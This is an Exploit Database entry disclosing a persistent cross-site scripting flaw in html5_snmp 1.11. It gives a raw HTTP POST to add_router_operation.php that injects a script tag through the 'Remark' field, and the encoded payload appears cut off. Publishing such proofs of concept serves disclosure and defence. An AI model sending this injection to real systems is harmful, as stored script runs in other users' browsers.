



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

html5_snmp 1.11 - 'Remark' Persistent Cross-Site Scripting

EDB-ID:

47587

CVE:

N/A

EDB Verified: ✘

Author:

[CAKES](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2019-11-05

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: html5_snmp 1.11 - 'Remark' Persistent Cross-Site Scripting
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/lolypop55/html5_snmp
# Software Link: https://github.com/lolypop55/html5_snmp.git
# Version: 1.11
# Tested on: CentOS 7
# CVE: N/A

# PoC

POST /add_router_operation.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/add_router.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Cookie: submenu1=block; showips=10; showurls=10; showreferers=10;
PHPSESSID=9m6bv15esubafglv5cnbcha421
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

Router_ID=ID&Router_Name=Name&Router_IP=IP&String=STRING&Remark=%3Cscript%3Ea
```

Tags: [Cross-Site Scripting \(XSS\)](#)Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.